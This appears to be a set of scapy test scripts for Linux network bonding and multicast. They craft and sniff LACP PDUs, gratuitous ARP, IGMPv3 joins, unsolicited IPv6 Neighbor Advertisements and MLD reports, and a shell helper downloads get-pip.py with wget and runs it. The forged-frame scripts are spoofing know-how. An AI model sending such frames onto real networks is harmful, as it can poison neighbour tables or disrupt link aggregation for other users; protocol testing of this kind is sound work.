    sys.exit(0)

lacpdu_send_periodic.py

#!/usr/bin/python

import sys, os
import time
from scapy.all import *

if len(sys.argv) < 2:
    print("not enough parameter")
    sys.exit(1)

conf.sniff_promisc = 0
iface = sys.argv[1]
load_contrib('lacp')

#trigger fast rate
state=int("0x4f",16)
lacp = LACP(actor_system_priority=127, actor_system="00:1a:70:0c:9f:00", actor_key=1,
        actor_port_numer=1, actor_port_priority=1, actor_state=state,
        partner_system_priority=1, partner_key=1, partner_port_numer=1,
        partner_port_priority=1, partner_state=state)

pkt = Ether()/SlowProtocol()/lacp
sendp(pkt, iface=iface)
time.sleep(1)
sendp(pkt, iface=iface)
time.sleep(1)
sendp(pkt, iface=iface)

received_count=0
def lacp_monitor_callback(pkt):
    global received_count
    if LACP in pkt and pkt[LACP].actor_system != "00:1a:70:0c:9f:00":
        #pkt.summary()
        #raw(pkt)
        #hexdump(pkt)
        received_count+=1
        #return "%x" % pkt[LACP].partner_state
        return pkt.summary()

start=time.time()
sniff(iface=iface,filter='ether proto 0x8809',store=0,prn=lacp_monitor_callback,count=2,timeout=90)
end=time.time()
print("fast rate: {} lacp packet received in {}s.".format(received_count,end-start))

duration=end-start
if duration > 5:
    sys.exit(1)

#trigger slow rate
state=int("0x4d",16)
lacp = LACP(actor_system_priority=127, actor_system="00:1a:70:0c:9f:00", actor_key=1,
        actor_port_numer=1, actor_port_priority=1, actor_state=state,
        partner_system_priority=1, partner_key=1, partner_port_numer=1,
        partner_port_priority=1, partner_state=state)

pkt = Ether()/SlowProtocol()/lacp
sendp(pkt, iface=iface)
time.sleep(1)
sendp(pkt, iface=iface)
time.sleep(1)
sendp(pkt, iface=iface)

received_count=0
start=time.time()
sniff(iface=iface,filter='ether proto 0x8809',store=0,prn=lacp_monitor_callback,count=2,timeout=90)
end=time.time()
print("slow rate: {} lacp packet received in {}s.".format(received_count,end-start))

duration=end-start
if duration < 5 or duration > 70:
    sys.exit(1)
else:
    sys.exit(0)

lacpdu_sys_prio.py

#!/usr/bin/python

import sys, os
import time
from scapy.all import *

if len(sys.argv) < 3:
    print("not enough parameter")
    sys.exit(1)

conf.sniff_promisc = 0
iface = sys.argv[1]
prio = int(sys.argv[2])
load_contrib('lacp')

received_count=0
prio_in_lacpdu=0
def lacp_monitor_callback(pkt):
    global received_count
    global prio_in_lacpdu
    if LACP in pkt:
        received_count+=1
        prio_in_lacpdu= pkt[LACP].actor_system_priority
        return prio_in_lacpdu

start=time.time()
sniff(iface=iface,filter='ether proto 0x8809',store=0,prn=lacp_monitor_callback,count=1,timeout=40)
end=time.time()
print("lacp_sys_prio setting is {}, lacp_prio_in_lacpdu is {}".format(prio,prio_in_lacpdu))

if prio != prio_in_lacpdu:
    sys.exit(1)
else:
    sys.exit(0)

lacpdu_under_stress.py

#!/usr/bin/python

import sys, os
import time
import threading
from scapy.all import *

if len(sys.argv) < 2:
    print("not enough parameter")
    sys.exit(1)

conf.sniff_promisc = 0
iface = sys.argv[1]
load_contrib('lacp')

class MyThread(threading.Thread):
    def __init__(self,rate,counter):
        threading.Thread.__init__(self)
        self.rate = rate
        self.counter = counter
    def run(self):
        #trigger fast rate
        if self.rate == "fast":
            state=int("0x4f",16)
        else:
            state=int("0x4d",16)
        lacp = LACP(actor_system_priority=127, actor_system="00:1a:70:0c:9f:00", actor_key=1,
                actor_port_numer=1, actor_port_priority=1, actor_state=state,
                partner_system_priority=1, partner_key=1, partner_port_numer=1,
                partner_port_priority=1, partner_state=state)
        pkt = Ether()/SlowProtocol()/lacp
        sent_packets=0
        while sent_packets < self.counter:
            sendp(pkt, iface=iface)
            sent_packets+=1
            time.sleep(5)
'''
# test fast lacp rate
fast_thread=MyThread("fast",20)
fast_thread.start()
received_count=0
def lacp_monitor_callback(pkt):
    global received_count
    if LACP in pkt:
        received_count+=1
        return pkt.summary()
start=time.time()
sniff(iface=iface,filter='ether proto 0x8809',store=0,prn=lacp_monitor_callback,timeout=90)
end=time.time()
print("fast rate: {} lacp packet received in {}s.".format(received_count,end-start))
fast_thread.join()
if received_count < 85:
    sys.exit(1)
'''
# test slow lacp rate
#slow_thread=MyThread("slow",22)
#slow_thread.start()
received_count=0
def lacp_monitor_callback(pkt):
    global received_count
    if LACP in pkt and pkt[LACP].actor_system != "00:1a:70:0c:9f:00":
        received_count+=1
        return pkt.summary()
start=time.time()
sniff(iface=iface,filter='ether proto 0x8809',store=0,prn=lacp_monitor_callback,timeout=100)
end=time.time()
print("slow rate: {} lacp packet received in {}s.".format(received_count,end-start))
#slow_thread.join()
if received_count < 3:
    sys.exit(1)
else:
    sys.exit(0)

receive_conflict_lacpdu.py

#!/usr/bin/python

import sys, os
import time
from scapy.all import *

if len(sys.argv) < 3:
    print("not enough parameter")
    sys.exit(1)

conf.sniff_promisc = 0
iface1 = sys.argv[1]
iface2 = sys.argv[2]
load_contrib('lacp')

#trigger slow rate
state=int("0x4d",16)
lacp = LACP(actor_system_priority=127, actor_system="00:1a:70:0c:9f:00", actor_key=1,
        actor_port_numer=1, actor_port_priority=1, actor_state=state,
        partner_system_priority=1, partner_key=1, partner_port_numer=1,
        partner_port_priority=1, partner_state=state)

pkt = Ether()/SlowProtocol()/lacp
while True:
    sendp(pkt, iface=iface1)
    sendp(pkt, iface=iface2)
    time.sleep(1)

when_to_collecting_distributing.py

#!/usr/bin/python

import sys, os
import time
from scapy.all import *

if len(sys.argv) < 2:
    print("not enough parameter")
    sys.exit(1)

conf.sniff_promisc = 0
iface = sys.argv[1]
load_contrib('lacp')

# capture a lacp message, its content will be used when sending lacp message.
peer_state=None
def lacp_monitor_callback(pkt):
    global peer_state
    if LACP in pkt:
        peer_state=pkt
        return pkt.show()
sniff(iface=iface,filter='ether proto 0x8809',store=0,prn=lacp_monitor_callback,count=1,timeout=40)
if not peer_state:
    print("step1: didn't get peer lacp messge")
    sys.exit(1)

# send lacp message with synchronization=0 to peer
state=int("0x07",16)
lacp = LACP(actor_system_priority=127, actor_system="00:1a:70:0c:9f:00", actor_key=1,
        actor_port_numer=1, actor_port_priority=1, actor_state=state,
	partner_system=peer_state[LACP].actor_system,
        partner_system_priority=peer_state[LACP].actor_system_priority, 
        partner_key=peer_state[LACP].actor_key,
        partner_port_numer=peer_state[LACP].actor_port_numer,
        partner_port_priority=peer_state[LACP].actor_port_priority, 
        partner_state=peer_state[LACP].actor_state)

pkt = Ether()/SlowProtocol()/lacp
sendp(pkt, iface=iface)
#time.sleep(1)
#sendp(pkt, iface=iface)
#time.sleep(1)
#sendp(pkt, iface=iface)

# peers lacp collecting state should be 0
peer_state=None
sniff(iface=iface,filter='ether proto 0x8809',store=0,prn=lacp_monitor_callback,count=1,timeout=40)
if not peer_state:
    print("step2: didn't get peer lacp messge")
    sys.exit(1)

collecting=(peer_state[LACP].actor_state & 0x10) >> 4
if collecting != 0:
    print("peers collecting state change to {} after sending 0x07 to peer".format(collecting))
    sys.exit(1)

# send lacp message with synchronization=1 to peer
state=int("0x0f",16)
lacp = LACP(actor_system_priority=127, actor_system="00:1a:70:0c:9f:00", actor_key=1,
        actor_port_numer=1, actor_port_priority=1, actor_state=state,
	partner_system=peer_state[LACP].actor_system,
        partner_system_priority=peer_state[LACP].actor_system_priority, 
        partner_key=peer_state[LACP].actor_key,
        partner_port_numer=peer_state[LACP].actor_port_numer,
        partner_port_priority=peer_state[LACP].actor_port_priority, 
        partner_state=peer_state[LACP].actor_state)

pkt = Ether()/SlowProtocol()/lacp
sendp(pkt, iface=iface)
#time.sleep(1)
#sendp(pkt, iface=iface)
#time.sleep(1)
#sendp(pkt, iface=iface)

# peers lacp collecting state should be 1
peer_state=None
sniff(iface=iface,filter='ether proto 0x8809',store=0,prn=lacp_monitor_callback,count=1,timeout=40)
if not peer_state:
    print("step3: didn't get peer lacp message")
    sys.exit(1)

collecting=(peer_state[LACP].actor_state & 0x10) >> 4
if collecting != 1:
    print("peers collecting state change to {} after sending 0x0f to peer".format(collecting))
    sys.exit(1)

# send lacp message with collecting=1 to peer
state=int("0x3f",16)
lacp = LACP(actor_system_priority=127, actor_system="00:1a:70:0c:9f:00", actor_key=1,
        actor_port_numer=1, actor_port_priority=1, actor_state=state,
	partner_system=peer_state[LACP].actor_system,
        partner_system_priority=peer_state[LACP].actor_system_priority, 
        partner_key=peer_state[LACP].actor_key,
        partner_port_numer=peer_state[LACP].actor_port_numer,
        partner_port_priority=peer_state[LACP].actor_port_priority, 
        partner_state=peer_state[LACP].actor_state)

pkt = Ether()/SlowProtocol()/lacp
sendp(pkt, iface=iface)
#time.sleep(1)
#sendp(pkt, iface=iface)
#time.sleep(1)
#sendp(pkt, iface=iface)

# peers lacp collecting state should be 1
peer_state=None
sniff(iface=iface,filter='ether proto 0x8809',store=0,prn=lacp_monitor_callback,count=1,timeout=40)
if not peer_state:
    print("step4: didn't get peer lacp message")
    sys.exit(1)

distributing=(peer_state[LACP].actor_state & 0x20) >> 5
if distributing != 1:
    print("peers distributing state change to {} after sending 0x0f to peer".format(distributing))
    sys.exit(1)
else:
    sys.exit(0)

lacp port state


0	LACP_Activity	Device intends to transmit periodically in order to find potential members for the aggregate. 
                        This is toggled by mode active in the channel-group configuration on the member interfaces.
			1 = Active, 0 = Passive.
1	LACP_Timeout	Length of the LACP timeout.
			1 = Short Timeout, 0 = Long Timeout
2	Aggregation	Will allow the link to be aggregated.
			1 = Yes, 0 = No (individual link)
3	Synchronization	Indicates that the mux on the transmitting machine is in sync with what’s being advertised in the LACP frames.
			1 = In sync, 0 = Not in sync
4	Collecting	Mux is accepting traffic received on this port
			1 = Yes, 0 = No
5	Distributing	Mux is sending traffic using this port
			1 = Yes, 0 = No
6	Defaulted	Whether the receiving mux is using default (administratively defined) parameters, if the information was received in an LACP PDU.
			1 = default settings, 0 = via LACP PDU
7	Expired		In an expired state
			1 = Yes, 0 = No

arp

# send gratuitous arp 
cat <<EOF >sendm.py
#!/bin/python3
from scapy.all import *
import os, sys

for iface in os.listdir('/sys/class/net/'):
    if iface != 'lo' and iface != 'bonding_masters':
        break
srcmac = open("/sys/class/net/" + iface + "/address", "r").read()
arp=Ether(dst="ff:ff:ff:ff:ff:ff",src=srcmac)/ARP(pdst="$ip2",psrc="$ip2",hwsrc=srcmac)
#arp.show()
sendp(arp, iface=iface)
arp=Ether(dst="ff:ff:ff:ff:ff:ff",src=srcmac)/ARP(pdst="0.0.0.0",psrc="$ip2",hwsrc=srcmac,op="is-at")
#arp.show()
sendp(arp, iface=iface)
EOF

# send other packets
cat <<EOF >sendm.py
#!/bin/python3
from scapy.all import *
import os, sys

for iface in os.listdir('/sys/class/net/'):
    if iface != 'lo' and iface != 'bonding_masters':
        break
#srcmac = open("/sys/class/net/" + iface + "/address", "r").read()
srcmac = "$mac2"
unicast=Ether(dst="44:44:01:02:03:04",src=srcmac)/IP(src="1.2.3.4",dst="1.2.3.5")/UDP()
sendp(unicast, iface=iface)

broadcast=Ether(dst="ff:ff:ff:ff:ff:ff",src=srcmac)/IP(src="1.2.3.4",dst="1.255.255.255")/UDP()
#ip.show()
sendp(broadcast, iface=iface)

multicast=Ether(dst="01:00:5e:00:01:01",src=srcmac)/IP(dst="1.2.3.4")
sendp(multicast, iface=iface)
EOF

igmp

# send igmp join
cat <<EOF >sendm.py
#!/bin/python3
from scapy.all import *
from scapy.contrib.igmpv3 import IGMPv3,IGMPv3mq,IGMP,IGMPv3gr
from scapy.contrib.igmpv3 import IGMPv3mr
import os, sys

for iface in os.listdir('/sys/class/net/'):
    if iface != 'lo' and iface != 'bonding_masters':
        break
srcmac = open("/sys/class/net/" + iface + "/address", "r").read()

p_join = Ether(dst='01:00:5e:0a:0a:0a', src=srcmac) / IP(src="$ip1", dst="$multicast_ip", tos=0xc0) /IGMPv3() /IGMPv3mr(numgrp=1) /IGMPv3gr(rtype=4, maddr="$multicast_ip")
#p_join.show()
sendp(p_join,iface=iface)
EOF

install

install_python()
{       
        yum install -y python3 || yum install -y platform-python || yum install -y python2
        
        #if [ ! -e /usr/bin/python ];then
                 if [ -e "/usr/bin/python3" ];then
                         ln -sf /usr/bin/python3 /usr/bin/python
                 elif [ -e "/usr/libexec/platform-python" ];then
                         ln -sf /usr/libexec/platform-python /usr/bin/python
                 elif [ -e "/usr/bin/python2" ];then
                         ln -sf /usr/bin/python2 /usr/bin/python
                 fi
        #fi
        
        python -V >  python_version.txt 2>&1
        python_version=$(cat python_version.txt|grep "Python [0-9]"|awk '{print $2}'|awk -F'.' '{print $1}')
        
        if [ $python_version -eq 3 ];then
            yum install -y python3-devel
            yum install -y platform-python-devel
            yum install -y python3-pip
            ln -sf /usr/bin/pip3 /usr/bin/pip
        elif [ $python_version -eq 2 ];then
            if [ ! -e /usr/bin/pip ];then
                yum install -y python2-devel
                #wget https://bootstrap.pypa.io/get-pip.py
                wget https://bootstrap.pypa.io/pip/2.7/get-pip.py
                python get-pip.py
                ln -sf /usr/bin/pip2 /usr/bin/pip
            fi
        fi
 
       # check again because sometimes /usr/bin/python is deleted
        if [ ! -e /usr/bin/python ];then
                 if [ -e "/usr/bin/python3" ];then
                         ln -sf /usr/bin/python3 /usr/bin/python
                 elif [ -e "/usr/libexec/platform-python" ];then
                         ln -sf /usr/libexec/platform-python /usr/bin/python
                 elif [ -e "/usr/bin/python2" ];then
                         ln -sf /usr/bin/python2 /usr/bin/python
                 fi
        fi
}

pip install scapy || yum install -y python3-scapy

ipv6 NA

#!/usr/bin/python
from scapy.all import *
import time

smac=sys.argv[1]
dmac=sys.argv[2]
sipv6=sys.argv[3]
dipv6=sys.argv[4]
iface=sys.argv[5]

ether=Ether(src=smac,dst=dmac)
ipv6=IPv6(nh=58, src=sipv6, dst=dipv6, version=6, hlim=255, fl=0, tc=0)
nd=ICMPv6ND_NA(tgt=sipv6,R=1,S=0,O=1)
option=ICMPv6NDOptDstLLAddr(lladdr=smac)
for i in range(1000):
    sendp(ether/ipv6/nd/option, iface=iface)
    time.sleep(1)

ipv6 udp

#!/usr/bin/python
from scapy.all import *
import time

smac=sys.argv[1]
dmac=sys.argv[2]
sipv6=sys.argv[3]
dipv6=sys.argv[4]
iface=sys.argv[5]

ether=Ether(src=smac,dst=dmac)
ipv6=IPv6(nh=17, src=sipv6, dst=dipv6, version=6, hlim=255, fl=0, tc=0)
for i in range(1000):
    sendp(ether/ipv6/UDP(sport=10000,dport=10000), iface=iface)
    time.sleep(1)

icmp6 MLD

# https://www.idsv6.de/Downloads/IPv6PacketCreationWithScapy.pdf

#!/bin/python3
from scapy.all import *
from scapy.contrib.igmpv3 import IGMPv3,IGMPv3mq,IGMP,IGMPv3gr
from scapy.contrib.igmpv3 import IGMPv3mr
import os, sys

for iface in os.listdir('/sys/class/net/'):
    if iface != 'lo' and iface != 'bonding_masters':
        break
srcmac = open("/sys/class/net/" + iface + "/address", "r").read()

base = IPv6(src='2009::9', dst='ff02::16', hlim=1)
hbh = IPv6ExtHdrHopByHop(options = RouterAlert())
mlq = ICMPv6MLReport(mladdr="ff15::11",mrd=1)
packet=Ether(src=srcmac)/base/hbh/mlq

sendp(packet,iface=iface)